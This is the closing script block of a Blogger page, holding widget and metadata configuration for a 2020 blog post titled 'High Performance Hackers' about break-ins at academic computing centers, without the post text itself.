_WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '8883034', 'title': 'atdotde', 'url': 'https://atdotde.blogspot.com/2020/05/high-performance-hackers.html', 'canonicalUrl': 'https://atdotde.blogspot.com/2020/05/high-performance-hackers.html', 'homepageUrl': 'https://atdotde.blogspot.com/', 'searchUrl': 'https://atdotde.blogspot.com/search', 'canonicalHomepageUrl': 'https://atdotde.blogspot.com/', 'blogspotFaviconUrl': 'https://atdotde.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': '', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22atdotde - Atom\x22 href\x3d\x22https://atdotde.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22atdotde - RSS\x22 href\x3d\x22https://atdotde.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22atdotde - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/8883034/posts/default\x22 /\x3e\n\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22atdotde - Atom\x22 href\x3d\x22https://atdotde.blogspot.com/feeds/8583103985111654027/comments/default\x22 /\x3e\n', 'meTag': '', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 'adsenseAutoAds': false, 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/20752fd4df382411', 'plusOneApiSrc': 'https://apis.google.com/js/plusone.js', 'disableGComments': true, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'Twitter', 'key': 'twitter', 'shareMessage': 'Share to Twitter', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'item', 'postId': '8583103985111654027', 'pageName': 'High Performance Hackers', 'pageTitle': 'atdotde: High Performance Hackers'}}, {'name': 'features', 'data': {'sharing_get_link_dialog': 'true', 'sharing_native': 'false'}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'High Performance Hackers', 'description': 'In the last few days, there was news that several big academic high performance computing centers had been hacked. Here in Munich, LRZ, the ...', 'url': 'https://atdotde.blogspot.com/2020/05/high-performance-hackers.html', 'type': 'item', 'isSingleItem': true, 'isMultipleItems': false, 'isError': false, 'isPage': false, 'isPost': true, 'isHomepage': false, 'isArchive': false, 'isLabelSearch': false, 'postId': 8583103985111654027}}]);
_WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', document.getElementById('Navbar1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/1619306617-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/4076883957-lightbox_bundle.css'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ProfileView', new _WidgetInfo('Profile1', 'sidebar', document.getElementById('Profile1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'sidebar', document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Loading\x26hellip;'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_FollowersView', new _WidgetInfo('Followers1', 'sidebar', document.getElementById('Followers1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_SubscribeView', new _WidgetInfo('Subscribe1', 'footer', document.getElementById('Subscribe1'), {}, 'displayModeFull'));
</script>
</body>
</html>